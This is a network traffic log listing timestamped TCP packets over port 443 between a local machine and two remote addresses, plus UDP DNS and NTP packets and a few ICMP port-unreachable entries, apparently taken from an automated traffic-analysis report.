Dec 1, 2024 03:33:48.775906086 CET	50028	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.775919914 CET	443	50028	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.775933027 CET	50028	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.775938988 CET	443	50028	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.778116941 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.778124094 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.908881903 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:48.911662102 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:48.911681890 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.029134989 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.079185009 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.079195976 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.082070112 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.082082987 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.082204103 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.082209110 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.230186939 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.232548952 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.232567072 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.403328896 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.406074047 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.406086922 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.474214077 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.476870060 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.476886034 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.604383945 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.606925964 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.606942892 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.655447960 CET	443	50029	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.655530930 CET	50029	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.657558918 CET	50029	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.657565117 CET	443	50029	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.657814980 CET	443	50029	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.658516884 CET	50029	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.703337908 CET	443	50029	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.806250095 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.808840036 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.808856964 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.809396982 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.861521006 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.861531973 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:49.864479065 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.865314960 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:49.865341902 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.010509968 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.012965918 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.055337906 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.107536077 CET	443	50029	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.110776901 CET	443	50029	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.110837936 CET	50029	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.110874891 CET	50029	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.110891104 CET	443	50029	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.110901117 CET	50029	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.110907078 CET	443	50029	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.112874031 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.112881899 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.251044989 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.253849983 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.253881931 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.253911972 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.299729109 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.299742937 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.302067995 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.302160025 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.302184105 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.454237938 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.456918001 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.503329992 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.612906933 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.615681887 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.615712881 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.698240042 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.700670958 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.700710058 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.735894918 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.784082890 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.784092903 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.787070990 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.787245989 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.787267923 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.899511099 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:50.901905060 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:50.943339109 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.092849970 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.095290899 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.095328093 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.158632994 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.164954901 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.164987087 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.215733051 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.268466949 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.268482924 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.315350056 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.417010069 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.457515955 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.497315884 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.521214008 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.521234035 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.522187948 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.525726080 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.525748014 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.525851965 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.526850939 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.526873112 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.847162962 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.850456953 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.891330004 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.966243982 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.969449043 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.971905947 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.971920967 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.975254059 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.975267887 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.975331068 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.975336075 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.975806952 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.975811958 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:51.976115942 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:51.976120949 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.174204111 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.178872108 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.178891897 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.299803972 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.345309019 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.345323086 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.347975969 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.347992897 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.348077059 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.348082066 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.420207977 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.470309973 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.470320940 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.472700119 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.472714901 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.472724915 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.472728968 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.620764017 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.623616934 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.623635054 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.789843082 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.792500973 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.792516947 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.862325907 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.864335060 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.864352942 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.913580894 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.969531059 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.969542980 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.973216057 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.973238945 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:52.973803043 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:52.973808050 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.115974903 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.118606091 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:53.118629932 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.315979958 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.318403959 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:53.318437099 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.349951029 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.391495943 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:53.391509056 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.393939018 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:53.439327955 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.467870951 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.470160007 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:53.470187902 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.470365047 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:53.470388889 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.551269054 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.553078890 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:53.553107023 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.726119995 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.728622913 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:53.728679895 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.922256947 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.925617933 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.925681114 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:53.925705910 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:53.969640017 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:53.970212936 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.017278910 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.103466034 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.103475094 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.104784012 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.104790926 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.106096983 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.106101990 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.109373093 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.109378099 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.123171091 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.124914885 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.171325922 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.427541971 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.430350065 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.430370092 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.548193932 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.551465034 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.551630020 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.551641941 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.554429054 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.554441929 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.554485083 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.554496050 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.555157900 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.555171013 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.555274963 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.555279970 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.753974915 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.756730080 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.756747961 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.881953955 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.884522915 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.884706020 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.884716988 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.887190104 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.887202024 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.887233973 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.887238026 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.887726068 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:54.887729883 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:54.998080015 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.000138998 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.000158072 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.199930906 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.202982903 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.203006029 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.375180006 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.378072023 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.378165960 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.378182888 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.378670931 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.378691912 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.380785942 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.380791903 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.442270994 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.446216106 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.446232080 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.448492050 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.491341114 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.576236963 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.582583904 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.582602024 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.703397989 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.750757933 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.750775099 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.753608942 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.753638029 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.823054075 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.830935001 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.830975056 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.830986977 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.832119942 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.832159996 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.832174063 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.834394932 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.834422112 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.835361004 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.835386992 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.840218067 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:55.842061996 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:55.883332014 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.024022102 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.027061939 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.027091980 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.194761992 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.198389053 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.198435068 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.198446989 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.198812008 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.198836088 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.206161022 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.206201077 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.266155005 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.271708965 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.271739960 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.273158073 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.273181915 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.395765066 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.438930035 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.452181101 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.452214956 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.596798897 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.642116070 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.643121958 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.688954115 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.688977003 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.735826015 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.774727106 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.829588890 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:56.829612017 CET	443	49954	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:56.876574993 CET	49954	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:34:08.658078909 CET	50031	443	192.168.2.7	142.250.181.100
Dec 1, 2024 03:34:08.658116102 CET	443	50031	142.250.181.100	192.168.2.7
Dec 1, 2024 03:34:08.658190012 CET	50031	443	192.168.2.7	142.250.181.100
Dec 1, 2024 03:34:08.658422947 CET	50031	443	192.168.2.7	142.250.181.100
Dec 1, 2024 03:34:08.658435106 CET	443	50031	142.250.181.100	192.168.2.7
Dec 1, 2024 03:34:10.462862968 CET	443	50031	142.250.181.100	192.168.2.7
Dec 1, 2024 03:34:10.463237047 CET	50031	443	192.168.2.7	142.250.181.100
Dec 1, 2024 03:34:10.463259935 CET	443	50031	142.250.181.100	192.168.2.7
Dec 1, 2024 03:34:10.463604927 CET	443	50031	142.250.181.100	192.168.2.7
Dec 1, 2024 03:34:10.463956118 CET	50031	443	192.168.2.7	142.250.181.100
Dec 1, 2024 03:34:10.464015007 CET	443	50031	142.250.181.100	192.168.2.7
Dec 1, 2024 03:34:10.517065048 CET	50031	443	192.168.2.7	142.250.181.100
Dec 1, 2024 03:34:20.094985008 CET	443	50031	142.250.181.100	192.168.2.7
Dec 1, 2024 03:34:20.095074892 CET	443	50031	142.250.181.100	192.168.2.7
Dec 1, 2024 03:34:20.095212936 CET	50031	443	192.168.2.7	142.250.181.100
Dec 1, 2024 03:34:20.956114054 CET	50031	443	192.168.2.7	142.250.181.100
Dec 1, 2024 03:34:20.956130981 CET	443	50031	142.250.181.100	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 1, 2024 03:32:17.243357897 CET	65440	53	192.168.2.7	1.1.1.1
Dec 1, 2024 03:32:17.469507933 CET	53	65440	1.1.1.1	192.168.2.7
Dec 1, 2024 03:32:20.407814026 CET	123	123	192.168.2.7	40.81.94.65
Dec 1, 2024 03:32:21.739006996 CET	123	123	40.81.94.65	192.168.2.7
Dec 1, 2024 03:33:04.245209932 CET	53	55033	1.1.1.1	192.168.2.7
Dec 1, 2024 03:33:04.269718885 CET	53	62029	1.1.1.1	192.168.2.7
Dec 1, 2024 03:33:07.055018902 CET	53	51526	1.1.1.1	192.168.2.7
Dec 1, 2024 03:33:08.595453978 CET	55369	53	192.168.2.7	1.1.1.1
Dec 1, 2024 03:33:08.595873117 CET	59733	53	192.168.2.7	1.1.1.1
Dec 1, 2024 03:33:08.732974052 CET	53	59733	1.1.1.1	192.168.2.7
Dec 1, 2024 03:33:08.732990980 CET	53	55369	1.1.1.1	192.168.2.7
Dec 1, 2024 03:33:11.072477102 CET	53527	53	192.168.2.7	1.1.1.1
Dec 1, 2024 03:33:11.072710037 CET	55088	53	192.168.2.7	1.1.1.1
Dec 1, 2024 03:33:14.080415964 CET	55395	53	192.168.2.7	1.1.1.1
Dec 1, 2024 03:33:14.080946922 CET	50924	53	192.168.2.7	1.1.1.1
Dec 1, 2024 03:33:14.512729883 CET	138	138	192.168.2.7	192.168.2.255
Dec 1, 2024 03:33:21.341176987 CET	53	54066	1.1.1.1	192.168.2.7
Dec 1, 2024 03:33:22.931103945 CET	49298	53	192.168.2.7	1.1.1.1
Dec 1, 2024 03:33:22.948400021 CET	61697	53	192.168.2.7	1.1.1.1
Dec 1, 2024 03:33:24.140202999 CET	53	65501	1.1.1.1	192.168.2.7
Dec 1, 2024 03:33:42.873656034 CET	53	57243	1.1.1.1	192.168.2.7
Dec 1, 2024 03:34:03.986728907 CET	53	64962	1.1.1.1	192.168.2.7
Dec 1, 2024 03:34:05.295624971 CET	53	54137	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 1, 2024 03:33:04.443051100 CET	192.168.2.7	1.1.1.1	c275	(Port unreachable)	Destination Unreachable
Dec 1, 2024 03:33:06.699716091 CET	192.168.2.7	1.1.1.1	c2e6	(Port unreachable)	Destination Unreachable
Dec 1, 2024 03:33:11.559257030 CET	192.168.2.7	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable
Dec 1, 2024 03:33:29.924086094 CET	192.168.2.7	1.1.1.1	c267	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
